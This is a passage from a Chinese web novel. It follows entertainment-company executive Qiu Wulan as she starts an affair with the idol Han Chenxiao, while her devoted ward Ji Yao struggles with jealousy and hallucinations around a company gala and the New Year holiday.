韩尘霄纠结了一会儿,还是伸手探进了衣服口袋里。 他取出了一张对折整齐的支票。 对折的纸片打开,韩尘霄恍惚地盯了会儿上面的字迹,像是回到了昨天。 他想着邱芜澜接过支票本的泰然。 男人、女人,两家公司的董事长、总裁和经理,他们的年龄、资历都高于她,可她坐在那儿,触碰了下口袋,那大腹便便的经理便立刻将自己的支票本双手递上,由她写画。 她自然而然地接过,道谢时笑容得体,却看也没看对方一眼——她知道别人一定在注视她,所以她不需要回视,礼貌地笑一笑就足够了。 这样的从容自信、这样强大的掌控力让韩尘霄头晕目眩。 直到此时,看着支票上清逸的字迹他依旧忍不住屏气凝神,如同发现狼迹的兔子,战栗心悸。 双颊发热,他恋恋不舍地摩挲过邱芜澜的字迹,随后将支票压在了邱芜澜的键盘下,放好后又抽出了一角,以免被完全遮挡。 韩尘霄的心脏鼓动起来,扯了扯鸭舌帽,对季尧说了句:“我先走了。”大步离开了办公室。 他不知道自己为何如此慌张,更不知道他为什么要赶在邱芜澜回来之前逃走。 兴许是觉得尴尬,又似乎夹杂了一点别样的心思。 他想给邱芜澜留一个好印象,让她知道,他不是为了钱才接近她。 看着步履仓促的韩尘霄,季尧在他走后丢下游戏机,拉出键盘下那张犹抱琵琶半遮面的支票。 出票人一行是陌生的数字,不是邱芜澜或邱家人的账号,但金额一栏是邱芜澜的字迹。 五十万。 对于一个新生偶像来说,这笔钱并不小,E级的艺人只有13%的提成,剩下九成都归公司所有。 季尧执着这张支票面无表情地站在座椅后。 不知过了多久,办公室门再度打开,结束会议的邱芜澜和他四目相对。 季尧缓缓眨眼,没有被抓包的惊慌。 他对邱芜澜扬了扬手中的支票:“姐姐,我捡到了钱。” 邱芜澜将文件放去桌角,“你捡到了就归你,不用交给警察了。” 因韩尘霄带来的烦闷散去了些许,季尧心满意足地笑了起来,“谢谢姐姐。” 第22章 第二十二章 “邱总为您选了一匹马, 已经送到马场了,她说您空的时候,可以带上朋友去跑一跑。” 本家的管家助理带着大包小包的礼物, 来了一趟季尧的别墅。 “这个是集团新开发的VR眼镜,还没有上市, 她请您试用之后给研发部一点反馈。还有这个,EPR总决赛的前排门票, 您…” “好。” 被礼物包围的少年玩着异形魔方,眼也不抬地打断,“你可以走了。” 当年的老管家早已去世, 本家的佣人更迭了一批, 年轻的助理并不知道季尧从前在本家的待遇, 他只知道季尧很得大小姐重视。 他连声应是, 笑容可掬地躬身退步, “那我就不打扰您了, 这些东西有什么问题, 您直接叫我就行。” 季尧专注着手上的魔方,水滴形的魔方有点大,玩起来有些费力。 助理离开, 偌大的别墅里只有盘腿坐在地毯上的季尧。 一地礼物里高奢的袋子不多, 半数是风格极简的数码产品, 另一半是色彩斑斓的衍生周边。 各色的袋子围绕着季尧,像是一片商业催生的花坛。 他躺在花坛里, 浅色的瞳孔盯着手中的水滴魔方。 没见过的排列, 有点难,触感也有点怪。 沙沙的转动声接连不止,各面色块越来越趋同, 他的表情却越来越木然。 直到剩下最后一列,稍一拨动,这新奇的魔方就会完成。 季尧枕着高达模型的盒子,定定望着手中只差最后一步的魔方。 无边的空虚、乏味涨了上来,吞噬湮没了他。 他口袋里还装着那张支票,也记得韩尘霄摩挲上面字迹时的表情。 对女粉丝高声告白都无动于衷的男人,原来也会有那样羞涩的时候。 满地的礼物丝毫没有起到抚慰的作用,反而让季尧愈喘不过气。 他被抛弃了。 这是第一次,邱芜澜在情人和他之间选择了前者。 她当然知道他在伤心难过,否则不会让他拿走支票、又用这么多礼物补偿他。 这些补偿饱含诚意,不是衣服、手表、跑车、首饰,这里每一样都是她亲自挑选出来的。 她记得他喜欢什么、记得他想看EPR总决赛,甚至意识到他会在意韩尘霄去了马场,于是也给他买了一匹名马。 季尧如此笃定,是因为这世上不会再有谁如此在意他的喜恶。 这些东西,邱芜澜无法假他人之手,哪怕是简也无法代劳。 简不在乎他、不屑于了解他,于是永远不可能分清茨纳米和驮拏多有什么区别,更不会知道他当下的新爱好。 这隆重的补偿充满了邱芜澜的愧疚,她在告诉他—— 对不起,这一次和以往不同,即使他不愿意,她也会留下韩尘霄。 太阳穴穿过一丝刺痛,比参加“游戏吧”时更加强烈。 那天邱芜澜离开他将近五天,他的头隐隐作痛,为了保证录制,只能转嫁一些疼痛到别人身上。 今天季尧身边没有第二个活物可以替他分担,眼前异形魔方上的色块漂浮了起来,迷幻的色彩布满他的眼球,形成了一个密闭的幻彩空间,过高的饱和度刺得他大脑胀痛。 他被抛弃了。 他被邱承澜从邱芜澜工作上剥离时,尚能忍耐; 现在,她连生活上都拒绝他靠近。 刺痛从脚趾开始。 蔷薇藤如蛇一般攀爬了上来,荆棘刺入他的皮肤,疼痛中泛着类似过敏的麻痒烧灼。 从脚趾到腿、到胸腹,那些花藤最终爬进他的眼耳口鼻,暴力粗鲁地向他输送呛鼻浓烈的蔷薇香。 季尧想要起来,他不想躺着了,可满身的蔷薇藤缠死了他,将他钉在地毯上动弹不得,就连眼球的控制权都不由他做主。 双眼被两根带刺的花藤捅开,长时间无法合闭的眼球分泌出泪水,将眼前诡异扭曲的色彩晕染得愈发迷幻。 无数的色块探出丝线,在季尧眼前构成了一束模糊的人影。 那人影没有五官,只是一些色块的粗糙堆砌,可季尧还是认出了:那是韩尘霄。 组成韩尘霄的是蓝、绿、黑三种颜色,唯独双眼和下身是刺目的亮红。 他看见那恶心的红色在灰暗的冷色中越来越烫、越来越鲜艳,当红到极点时,那堆色块进化出了声音。 它缩在灰暗色的边缘角落,发出模糊的呢喃: 芜澜……芜澜…… 季尧胃部翻绞、头疼欲裂。 他拼尽全力对抗身上的花藤,额角渗出冷汗,骨骼吱吱作响,终于,他得以颤动一根手指。 啪—— 指尖转动,将最后一行魔方拨到了原位。 这颗异形魔方在完成的瞬间塌陷,藏在底部的机关打开,无数糖果从中掉落,噼里啪啦地砸到了季尧身上,如同绚烂的流星颗颗坠落。 从天而降的火星温和地燃烧了束缚季尧的花藤,将他从痛苦中解救。 他从被烧断的花藤中挣扎起身,坐起的瞬间,色彩缤纷的世界褪去,四周只是些颜色迥异的袋子而已。 少年浑身湿透,柔软的卷发被汗水纠结成绺,后背的布料呈现出深色,紧紧粘在他背上。 身边散落着星星点点的糖。 他喘息着,从噩梦中惊醒,惶恐后怕地膝行向前,急促地打开电视。 125寸的超大屏幕甫一亮起,便出现了邱芜澜的身影。 某个财经访谈的画面,被季尧剪辑下来储存在这里。 深蓝色的背景、米灰色的沙发椅上坐着年轻一些时的邱芜澜,她左手松松搭在扶手上,专注倾听着主持人的问话。 季尧跪在屏幕前,额头贴上了画面中的扶手。 屏幕中那支优美如兰的手仿佛落在了他的头上。 少年维持着这一跪姿,剧烈起伏的胸腹在清冷的女声中渐渐平缓。 他抓起一颗滚落身旁的巧克力,指尖隐约感受到了星星残留的温度。 这个甜味,他前不久在邱芜澜的床上吃过。 姐姐…姐姐…… 季尧磨蹭着屏幕,无声啼哭,回应他的只有平稳而冷漠的财经内容。 …… 秋叶娱乐和秋叶集团围绕着元旦先后举办年会,娱乐公司的年会总是让网民津津乐道,其中,秋叶娱乐的年会又有不同。 参与年会的不仅有秋叶自己的艺人,秋叶娱乐还邀请了国内外不少一线大牌。 年会的时间和集团错开,秋叶娱乐向集团年会提供自家艺人的同时,也向集团借来了秋叶游戏的制作团队、主播、CV,以及COSER。 这是一场真正意义上的庆典盛宴。 每年秋叶娱乐的年会除现场直播外,还会上线高清纯享版。 邱芜澜有意用秋叶年会取代年轻人心中的春晚。 推行到现在,基本已经实现当时定下的目标,此时此刻,不少粉丝都掐着时间等在电脑前面。 秋叶娱乐的年会没有任何领导讲话。年终汇报、计划、演讲都在前一天的大会议室里结束,今天是纯粹的吃喝玩乐、演出狂欢。 邱芜澜坐在台下,看着台上献唱的宋折凝,偏头问简:“后续呢。” 简摇头,“那次回来后,她再没有和其他人接触过,也没有向公司提其他要求。” 邱芜澜眸光微移。 她看着盛装出席的宋折凝,有点说不出的古怪。 太平静了,像是暴风雨前的海,明明应该大闹一场,却比往常更加安静。 她第一时间告知了哥哥,邱承澜得知宋折凝想要入股影视城的消息后,没什么反应。 结合宋折凝私下约见华映赵志强一事来看,邱芜澜猜测这是一出离间计,有人想要看见宋折凝和秋叶不合的情景。 ASHS的合约和普通艺人不同,除了有更好、更优越的资源、待遇、拥有自己的专属团队外,也不再设立解约违约金。 所有的ASHS合约都是无期限约,他们随时可以离开秋叶,但需要交还手中股份,并有一年的竞业协议。 目前为止,秋叶娱乐里还没有ASHS解约。 没有人舍得轻易割舍秋叶的股份,何况对艺人而言,竞业协议就是命脉。 即便是超一线的影后,也不敢一整年都不出现在公众面前。 邱芜澜不认为普通的离间计能让宋折凝离开秋叶,但对家公司都派人来挖墙脚了,她也不能视若罔闻、无动于衷。 邱芜澜沉吟着,对简低语,“节后帮我安排一次和宋折凝的会面。” 她所有作品里,宋折凝无疑是不乖的,可她到底是哥哥签的元老,是哥哥的资产。 邱芜澜是“继母”,不便插手太多。 规则范围内,宋折凝想要的,她会尽量满足。 “好的。”简记录下了需求,台上音乐陡然一变。 灯光混乱了起来,快节奏的摇滚响彻楼层,员工们的掌声喝彩里,女性的占比明显高出一截。 邱芜澜抬眸,舞台上是青春靓丽的男孩们。 三个男团凑了一首串烧,激昂的乐曲、年轻的肉.体、暧昧的灯光、妖魅的妆造,这是和宋折凝截然不同的风格,即使在同一方舞台,时代的跨度也不可磨灭。 邱芜澜微笑着,不论什么样的节目、什么样的艺人,她都回以相同的微笑。 她当然需要宋折凝这样的艺术家,但这个时代也需要从流水线上下来、快速便捷、能刺激大量多巴胺的标准化快餐。 秋叶集团作为超大型科技企业,推动了这个快餐时代。 宋折凝是珍贵且难以代替的。 而公司不喜欢难以代替的员工。 邱芜澜回视着舞台上的韩尘霄,对他和台上的男孩们略挥了挥手。 她有很多手工定制的东西,却也同样喜欢机器量产的商品。 手工未必都是好处,它也往往意味着品控不稳定。 邱芜澜的目光越过韩尘霄,看向他后一位的季尧。 季尧是邱芜澜花费数年打磨的专属定制,他身上有数不尽的珍贵属性。 邱芜澜对他无比爱惜。 太过珍贵的宝石是不容易见光的,富豪们会将顶级宝石锁在保险箱里,戴着仿制品出门。 邱芜澜希望韩尘霄能尽快成为一个合格的仿制品,现在的她不像小时候,没有那么多时间去精雕细琢一件首饰,韩尘霄最好能自己对照着季尧打磨自己。 舞台灯光直冲韩尘霄眼睛,刺得他视网膜一片光晕,只能模糊地看见正中央席位上的情形。 捏着耳麦,当韩尘霄和另外两队的队长换到C位时,灯光转移,他猝然望见了邱芜澜在对他挥手。 这首练习了上百遍的歌骤然加速,每一个节奏点都如烟花般粲烈爆开。 韩尘霄看见邱芜澜对他挥手后,侧身对简说了什么,简听完,目光立刻朝自己望了过来。 她在谈论自己、她在注视自己……意识到这一点,韩尘霄的手掌布满了潮汗。 他紧张得大脑空白,全靠肌肉记忆浑浑噩噩地完成了演出,也就没能注意到身旁的季尧同样注视着他、盯紧了他。 在无数媒体摄像头前,季尧灿烂地笑着,没有人发现:那双漂亮的瞳孔时不时会失焦。 不是无聊的走神,更像是得了多动症的孩子,病理性地无法集中注意力。 他的视野时亮时暗,有几个瞬间漆黑一片,连同炸耳的音乐都几乎从耳边消失。 无声无光的黑暗下,季尧不确定自己有没有出现纰漏。 视觉甫一恢复他立即观察周围人的反应,见没有异常,才稍稍喘息。 黑暗固然可怕,光亮也并不美好。 他看见了邱芜澜和简的对话,她们的嘴唇像是慢动作一样在他脑海中拼出了字句—— “让韩尘霄来找我。” “今晚吗,明天一早RNI好像有个元旦活动。” “嗯……问问他愿不愿意推了吧。” “好的,我去通知唐知行。” 五分钟的串烧结束。 表演谢幕,为了最后的年度大合照,男团的成员们没有卸妆,回到了座位上观看接下来的节目。 一群活力四射的新生偶像坐在一起堪称风景,摄像对准了这一片区域拍个不停。 组合里的活泼担当们立刻对着镜头卖萌、做鬼脸,罗浩炆自己做了个rock的吐舌后,也戳了戳季尧的腰,示意到他的回合了。 季尧抬眸,瞥了他一眼。 罗浩炆一怔。 舞台妆比一般的妆造要浓,化妆师加深了季尧五官的混血感,那张漂亮的脸蛋崭露了几分成年气息,他的眼线被拉长,睫毛被加重,使本就浅的瞳孔愈发璀璨如钻。 季尧并不好相处,但从来没有哪一次,他的眼神如此具有攻击性。 他一如既往的美丽,如同油画中的天使,可瞥向罗浩炆的眼里充满了冰冷、阴鸷,像是在看路边发.情的野狗。 罗浩炆被这眼神镇住了,紧接着他身旁的椅子兀地挪开,椅子上的人起来得太急,椅脚在地面划出刺耳的摩擦。 罗浩炆扭头,坐在他旁边的是韩尘霄。 韩尘霄双手捧着手机,被屏幕照亮的脸上流露错愕和欣喜。 罗浩炆倒吸一口凉气,一把将韩尘霄扯了下来。 韩尘霄不解地看向他,他无语地提醒:“哥你疯啦?” 主持人邀请天王上台,他突然站起来干什么!还一副被女朋友求婚的表情。 韩尘霄像是才意识到这是什么场合,他抿着嘴压抑笑容,紧紧握着手机,时不时打开屏幕看一眼消息。 他的坐立不安连杨木都看得出来,“是家里出什么事了吗?” 韩尘霄摇头,“没。” 他嘴上这么说,却把节目名单要了过来,一会儿拨弄刘海,一会儿低头对照下节目表进度,度日如年般焦躁地等待年会结束。 四个小时,年会终于落幕。 刚拍完集体大合照,罗浩炆就发现韩尘霄不见了。 “可能和朋友有约吧。”杨木对其他人的私生活不感兴趣,他妈妈开着车来接他。出了酒店,夜空飘着细碎晶莹的小雪,那一辆中档的黑色轿车混在满场的名车中,格外不起眼。 “木木!”车窗落下,露出女人朴素的笑脸,她冲他按喇叭,“妈妈在这里!” “妈。”杨木小跑过去,“你怎么来了,我自己打车回去就行。” “下雪了,不好打车。”女人等他上座,看见了后面的罗浩炆和季尧,立即热情地打招呼,问他们需不需要搭车。 罗浩炆拒绝了,他目送车子离开,驶入万千车流,突然有些难受。 “季尧,你过年会回家吗……回你爸妈那边。” 季尧没有回话,罗浩炆无趣地搓搓鼻子,收回了自己的伤感。 算了吧,金尊玉贵的小少爷过年哪里会少得了热闹,怎么会和住在公司宿舍的他感同身受。 “我和唐哥走了,你也早点回去吧,晚了路滑,不好走。”他嘟囔了一句,“队长也是,消息都不回,也不知道有没有带宿舍钥匙。” 他边走边又给韩尘霄打电话,季尧站在酒店大门前,微微仰头。 蓝黑色夜幕上细雪纷飞,有一颗雪子飘进了他的眼中,瞬间融化成水,流入眼球。 他没有闭眼,机械地撑着上下眼睑,将这雪色收入眼内。 霓虹灯布下光幕,同样的雪被一分为二,光外寂冷,光下则如水晶球造景一般绮丽梦幻。 三面环海的酒店总统套房内,冷俊的青年从浴室中走出,他心跳如鼓,紧张忐忑地望着窗边翻看数据的女人。 高空的雪比地表的更加清凌洁净,她侧边的窗外是悠扬的碎雪、无垠的大海,身上则披着温暖的灯光。 冷与暖汇集于她一身,听见青年靠近的脚步,女人回眸,目光从他浴袍未包裹的胸肌上轻轻掠过。 韩尘霄顿时椎骨发麻。 他艰涩地滚动喉结,双耳充血,站在床和她的中间点上,不知该如何反应。 邱芜澜看出了他的生涩。 韩尘霄很乖,出道前听父母、老师的话,不在学校早恋;出道后又听公司的话,严格遵循偶像守则。 此刻,一米八几的青年无助地望着邱芜澜,他不知道自己该怎么做,于是寄希望于她,希望从她口中得到明确的指令。 邱芜澜合上笔记本,对他抬手。 她指尖刚一抬起,韩尘霄便过来了。 他的头发还未全干,黑发沾了水,水珠在动作间坠落,流经锁骨、胸腹,一路折射出璀璨的光芒,碎钻般装饰了他的黑发和温热的身体。 “别怕。”邱芜澜对他道,“你可以拒绝我。不会对你的事业造成任何影响。” “不…”韩尘霄发出个短促的音,旋即闭紧了嘴唇,哀求地望着她。 他怎么会拒绝她…… 邱芜澜舒展眉眼,手指抚上他的侧脸。她仰了头,他傻乎乎地绷着身体,被邱芜澜捻了捻湿发后才慌忙弯下腰来。 淡色的唇落在了韩尘霄的耳垂上,他嗡的眼前发白,什么都感知不到,只能嗅到优雅的兰草香。 “你在发抖,这么紧张?”含笑的女声落在耳畔,邱芜澜指尖推开他,“那就从你熟悉的部分开始吧。” 她起身,坐去了床上,温和地注视他。 “给我跳支舞吧,霄霄。” 霎时间,韩尘霄只能听见自己野狗般的粗喘。 她没有触碰他,只是吻了吻耳垂、用粉丝的爱称唤他,他便溃不成军,羞耻得骨头打颤。 他怎么可能拒绝她。 第23章 第二十三章 苍茫的飞雪一夜未歇。 韩尘霄从温暖干爽的丝绒被中醒来, 短暂的惺忪过后,清矍的黑眸倏地收缩。 他猛地起身,光.裸精壮的身上留下了些许痕迹。 “醒了?” 韩尘霄一颤, 抬眸望去。 他看见邱芜澜倚在门边,藏青色的睡袍将她皮肤衬得白皙如瓷。 她端着水杯, 对他勾起清似新雪的笑:“早。” 韩尘霄抓着身下的被子,红着脸回应, “早……” 邱芜澜转身,给他打理自己的时间。 她一离开门口,韩尘霄便快步奔向浴室。他撑在洗手台前, 看见镜子里的人后, 羞耻得五指成拳。 头发全乱了, 耳边翘起一撮; 熬夜后的眼里布满了血丝, 昨晚的泪水凝结在睫毛上, 变成了干硬的分泌物。 他刚才就顶着这幅样子出现在邱芜澜面前—— 韩尘霄垂头, 撑在洗手池上的双拳暴起了青筋。 他本是准备提早起来, 整理好自己、给邱芜澜点一份早餐,然后温柔地吻醒她的。 现在全都搞砸了…… 想到这里,韩尘霄蓦地一怔, 他慌忙拿出手机察看时间, 祈求自己别睡得像死人一样, 让邱芜澜等了他几个小时。 屏幕亮起,当看清现在的时刻时, 韩尘霄愣住了。 凌晨五点十六。 他们是在三点前入睡的。 穿好衣服, 韩尘霄走出房间。 他看见灯光明亮的客厅里,电视屏幕一分为四,上面排满了密集的红绿数据, 间或夹杂着外文。 邱芜澜坐在屏幕对面的沙发上,手边是一杯冒着袅袅热气的牡丹花茶,膝上是一本平板。 她那头柔美的长卷发全部捋在左侧,露出的右耳上挂着一颗黑色蓝牙。 邱芜澜不需要首饰衬托气质,在韩尘霄眼中,她耳朵上戴的蓝牙和蓝宝石一样矜贵。 韩尘霄惴惴不安地坐去她身边,“对不起,让你等久了吗?” “不,你起得很早。”邱芜澜没有抬头,只是腾出一只手摩挲了下他的侧颈,“可以再去睡会儿。” 温凉的手指划过动脉,令韩尘霄回忆起昨晚的某些时刻,双颊染上了红晕。 “不用,我习惯这个点起来练舞。倒是你……”他不解而担忧道,“工作这么忙么?” 她不是卖时间换钱的基层员工,却总在公司待到很晚,这很不正常。 “我不是为了工作而工作,是工作在帮我消耗精力、转移注意力。别担心,你没有打扰到我。” 韩尘霄听不懂前半句,他只在乎和自己有关的后半句,“那你饿吗,我去找点吃的?” 邱芜澜颔首,“点你自己那份就好。” 韩尘霄忍不住道,“你也吃一点吧。” 他记得她在年会上也没怎么吃东西,经过一晚上的消耗,怎么能不吃东西呢。 硕大的屏幕上,大片殷红的数据汇集成浅浅的红芒。 邱芜澜抬眸,和煦地看着他:“点你的就好。” 隐约之间,似有一股微凉的压迫覆在了韩尘霄身上,如同窗外的落雪,轻薄寒凉。 “去吧,”邱芜澜偏头示意,“打给前台就行。” 那若有若无的压迫感瞬间消散,仿佛只是韩尘霄的错觉而已。 “好。”他局促离去,走出几步后又回头瞄了眼邱芜澜,确认她刚才是否真的生气。 邱芜澜触碰虚拟键盘的指尖一顿,对着大屏幕上明晃晃的一片红色若有所思。 原来是要从这里开始教起。 她回忆着季尧是什么时候开始看美盘的……十二岁?还是十三……总之是初中毕业之前,初中毕业后,她对季尧的训练戛然中断了,所以一定是在那之前。 温柔的门铃和香甜的烘焙味打断了邱芜澜的思绪。 韩尘霄将早餐摆在沙发桌上,他可怜巴巴地看着邱芜澜,邱芜澜无奈,眼神指了指酥软的可颂,韩尘霄满足地笑了起来,用纸巾包裹着,送到邱芜澜嘴边。 她咬掉了一个尖角,“够了,你吃吧。” 要保证上餐速度,这是酒店提前做好、放了几小时的复热产品; 鸡蛋和牛奶都不够好,欠缺醇香; 为了弥补食材的品质、增加香气,用了过量的黄油; 想要打造特色,加入了香草味,可用的是香草精,不是新鲜香草荚,充满了化工品气味。 邱芜澜眼角微耷,起床看见一片赤红的心情变得更加低落。 惨淡的美盘和水准平庸的早餐其实都在意料之内,但她还是难免失望。 “再吃一口好不好。”韩尘霄举着可颂,哄着邱芜澜再吃一口。 邱芜澜凑了过来,韩尘霄立即笑着将可颂送上。 绸缎般的长发拂过他的手背,那淡色的唇忽而越过可颂,落在了他的腕骨上。 她吻着他的手腕,说:“替我吃了吧。” 目光触及青年爆红痴怔的脸,邱芜澜想,算了,毕竟是节前最后一次开盘。 窗外的雪逐渐停息,冬日从地平线升起之前,邱芜澜离开了酒店。 因为积雪,地面交通不畅,简派了直升机来接她。 当着简的面,邱芜澜勾着韩尘霄的后颈,吻了吻他的唇角。 “我很抱歉……”她抬眸望着他,语气愧疚,“今天是第一天,我却不能陪着你。” 那愧疚很薄,一如这场南方的小雪,太阳升起便会融化。 可南方落雪,本就是足够稀罕的美景,能见到这场雪就足够令人心生感激。 “没关系,”韩尘霄心满意足地回应,“你愿意的话,我们会有很多个新年的第一天。” “我是说,我们在一起的第一天。” 冷俊的青年愣住了,显出些不可置信。 “你以为这是场一次性的潜.规则?”邱芜澜叹息,“亲爱的,你是这样想我的?” “不、不是的……”韩尘霄大脑有些发涨,像是几个小时之前,邱芜澜搭着他的腰,溢出点点哼笑,在他耳边褒奖“跳得真好”时一样,他感受到了一阵强烈的天旋地转。 后来怎么样了……韩尘霄的记忆不太清晰,只记得强烈的充血感几乎冲破颅顶。他不敢碰邱芜澜,撑着她身后的墙,如同被好心人捡回家的流浪狗,双眼滚烫,癫狂地摇动尾巴。 “怎么又哭了。”并不细腻的指腹抹过他的眼角,有什么东西塞进了他手中。 韩尘霄低头,看见掌心里崭新的车钥匙。 “新年快乐。” 她后退一步,同他道别,“原谅我,好么。” 韩尘霄来不及推辞,简抚着蓝牙对邱芜澜低语了一句“直升机到了”。 邱芜澜闻言颔首,转身出门,简抖开一件厚大衣披在了她身上。 像是她接过支票本时随口说的那声谢谢一样,她并不在乎韩尘霄是否真的“原谅”她匆匆离去。 这只是一句纡尊降贵的情话。 韩尘霄握着车钥匙,痴怔地望着她的背影,缓了好久,才恋恋不舍地离开酒店,前往了地下停车场。 侍者将他引到车前,纯黑色的Huayra霸道地占据了四周车位。 韩尘霄呼吸微滞,车门自动打开,当他坐进这台足够买下瑚城豪宅的超跑里时,巨量的肾上腺素飙升而起。 他抚过真皮的方向盘,在副驾驶上看见了一个黑色的方盒。 打开,是一支百达翡丽的手表,钻石切割的表盘倒映出韩尘霄微红的双眼,一张轻薄的便签压下表下。 韩尘霄小心地将其扯出,纯白的纸上落着一个字—— 「邱」 他坐在车里,嗅着新车的皮革香气,将便签贴在了心口。 贴着“邱”字的心脏有力跳动着,久久未能恢复平静。 …… 简在车行送来的合同上签下了字,时间太早,车行的员工还未上班,这台车是特别帮忙送过来的,款项后付,合同也是现在才补上。 邱芜澜让她“随便买点什么”,简忙着善后昨天的年会,没空花心思想礼物,就按老一套来——车子、房子、手表、衣服。 买房有点太过,衣服作为交往礼物又有点轻了,她选了另外两样。 “阿尧呢。”上了直升机,邱芜澜第一句话就是问季尧。 简有些心塞,但还是如实答道,“在他自己的房子里。” “让他过来,我要吃饭。”邱芜澜支着下巴,望着飞机外的雪景。 “好的。” 邱芜澜顿了顿,问向简:“他还在不高兴?” 简摇头,她才不在乎季尧,怎么会知道他高不高兴——他有什么可不高兴的,小姐都给他买了那么多礼物了。 邱芜澜敛眸思忖着。 她希望韩尘霄能立刻掌握季尧的厨艺和察言观色的能力,可她不想把季尧逼得太紧,让他感到危机。 看来让季尧教韩尘霄做饭这件事,还得再延一延,给他一点接受的时间。 昨天到现在,邱芜澜饿得有点头晕。 飞机落地,一进家门她就嗅到了美妙的香气。 私密的领地、甜美的食物气息,让邱芜澜顷刻间放松了身心。 她走去厨房,看见烤箱亮着暖光,少年手持剔骨刀,正在处理猪肋。 季尧的刀工极好,每一刀都顺滑流畅,刀刃下的猪血染红了他的手指,可他脸上噙着点点笑容,这一场面就不显血腥。 邱芜澜看见农场刚送来的草莓,她实在是饿了,捏了一颗起来。 开盒声惊动了季尧,他回头,看见邱芜澜,脸上的笑容顿时加深扩大,变得甜蜜。 “姐姐。”他依恋地唤她,邱芜澜有些心软。 她靠在季尧旁边的料理台上,捻着草莓梗送到他嘴边。 少年侧头咬下。 微凉的汁水从他齿间溢到邱芜澜手上,并不黏腻,却让邱芜澜眯起了眼眸。 她看见少年舔舐唇角的舌尖,那双玻璃糖一样澄净的眼里缀着笑,他如同刚刚满月的小狗,正是最可爱的时候。 可爱并不代表单纯,为使自己能在残忍的丛林中生存下去,幼崽们进化出了“可爱”这一天赋武器,用以讨好母亲、使母亲心甘情愿地抚养自己。 和高超的扑杀技巧、恐怖的追踪嗅觉一样,这是一种生存技能,是基因进化出的求生利器。 邱芜澜知道,季尧绝不天真无邪。 他知道自己有重度性.瘾,知道自己刚从韩尘霄身上下来,也知道为了循序渐进,她和情人交往之初,会强行忍耐、压抑自己。 他是故意的暧昧。 邱芜澜将这份故意判定为“恶作剧式的抱怨”。 他在向自己传达不满。 “吃醋?”她该和季尧好好聊聊韩尘霄了。 季尧分割着肉,垂下眼睑,发出一声微不可闻的鼻音。 邱芜澜对这种情绪并不陌生,不止是季尧,邱泽安、邱泽然也对她的那些前任抱有十足的意见。 她打开手机轻点几下,下一刻,季尧的手机震动亮屏。 他收到了邱芜澜发来的一份文件。 “简为你挑选了一些女孩儿,”邱芜澜对季尧说,“你想去见见么?” 嗒。 刀刃砍在砧板上,发出沉重的撞击声。 季尧抬眸,看向邱芜澜。 邱芜澜回望他,“都是些不错的女孩儿。” 季尧少见地顶撞了邱芜澜,“我的喜好和姐姐不一样。” “那你喜欢什么样的?”邱芜澜莞尔,“勤工俭学、天真善良、藐视权贵的穷姑娘?” 她侧身,换了站姿,“可以,我也欣赏自强不息的女孩儿——只要她的天真不至于往我脸上泼水。” 季尧放下刀,“姐姐打算给她多少钱,让她离开我?” “我会给她一份销售岗的工作。” 季尧抱胸,鼓起了脸颊,“那姐姐猜猜看:我给尘霄哥一个亿,他会不会离开你。” “等你有一个亿了,可以去试试。” 玩笑到此为止,邱芜澜将话题收回,“阿尧,你已经过了二十岁生日,我不在乎你是否结婚、喜欢什么样的女生,甚至不在乎你喜欢的是不是女孩,但你必将走向独立。” 那封邀请函将邱芜澜从安逸中点醒。 她后知后觉地意识到,季尧长大了,他不可能一辈子跟在自己身后喊姐姐。 未必一定是恋人,或许有一天他厌倦了邱家、有了自己的志向,哪怕只是想要出去旅游半年,都会给她的起居造成极大不便。 他们不能再这样下去。 “我不会觉得韩尘霄比你重要、也从来没有要用谁取代你的想法,只是需要一个应急的备用方案。” 她又捻了一颗草莓喂到季尧嘴边,表达和解的意愿,“好么?” 季尧睨了邱芜澜一眼,泄出一点儿委屈,“我以为,我就是那个应急的备用方案。” “你长大了,我不能栓狗一样永远栓着你。” 那韩尘霄就能永远拴在她身边了么——季尧没有问,他咬住了那颗递来的草莓,像是嚎啕大哭的孩子被母亲用一颗糖轻松哄好。 母亲并不真的在乎孩子有多伤心,她只是想立刻结束孩子的负面情绪。 邱芜澜抚过他的鬓角,“这个元旦我会陪着你。” 她想,这样安抚一番,应该就够了。 季尧也该清楚,目前的关系模式已经走到了尽头,无法继续,早晚要有个了结。 “一直陪着我?”季尧眨眼。 “嗯,”邱芜澜问,“你有什么想去的地方么?” “我不想出门,”季尧重新握住了剔骨刀,“我想和姐姐一起待在家里,不被打扰地过节。” “好。”邱芜澜答应了。 整个元旦,邱芜澜闭门不出,连简都没有见,履行了对季尧的承诺。 只是与其说是她陪着季尧,不如说是季尧陪着她。 股市在节假日停盘,邱芜澜依旧习惯凌晨四点半起床。 不出差的时候,她的生活很规律。 早起,一个半小时的健身,洗澡、吃季尧准备的早餐,随后是服药、处理工作、线上会议、了解各项目进度。 别墅的电视始终亮着,播放秋叶娱乐现阶段的几个重点项目,节目是项目,人也是项目。 邱芜澜喜欢流水线生产的偶像,但她的公司不能只有流水线。 公司里的艺术品太少了。 倒也不是秋叶娱乐独有的现象,随着资本涌入娱乐圈,整个娱乐圈的艺术品都在减少,金钱堆砌起的工艺品垃圾充斥着荧幕头条。 需求决定供给,如今的市场需求则被财阀们引导、控制。 邱芜澜正是塑造时代审美和需求的那一批人。 电视屏幕里的年轻女艺人,仰头望着古镇牌匾,口齿不清地念道“仓……仓、仓什么造字……” 旁边的男艺人大笑出声,“仓颉,仓颉造字你不知道啊?” “我不知道啊。”女孩懵懵的,一脸呆萌。 男艺人冲她比了个拇指,拉足嘲讽。 “我真的不知道,”女孩也笑了,“我不相信他们都知道,等着,我去叫星星过来,他绝对也不知道。” 她跑开去了,带了另一个男艺人过来,指着牌匾问:“你知道上面写了什么么?” 男艺人仰着头,深沉地盯了半晌—— “仓吉造字?” 屏幕内外顿时一片哄笑,满屏弹幕都在刷“哈哈哈哈”和“瑚涂电影艺术学院”、“瑚弄人电影艺术学院”。 少数几条鄙视艺人文化的弹幕立刻引来群攻:“就你文化高”“学习去看教科书行不行啊,我又不是为了学知识看的综艺”。 不管这是两位艺人真实的文化水平,还是为了衬托其中的某人、为他打造“国风学霸”人设而刻意安排的剧情,这都是个造星的绝佳时代。 艺人从九十八分提高到九十九分异常艰难,持续努力下去,娱乐圈的产出投入比将不堪负荷。 但是从零分提高到三十分,极其容易。 一百年前,一个“明星”三岁就开始学习艺技,他们不止精通诗词歌赋、乐舞剑戟,就连每一步路、每一根手指如何律动都苦心孤诣地钻研。 那是一个真正十年树木百年树人的年代,需要长达十年、十数年的人力成本。 四十年前,在人人都是影视、音乐双栖的年代,想要脱颖而出也还十分费劲。 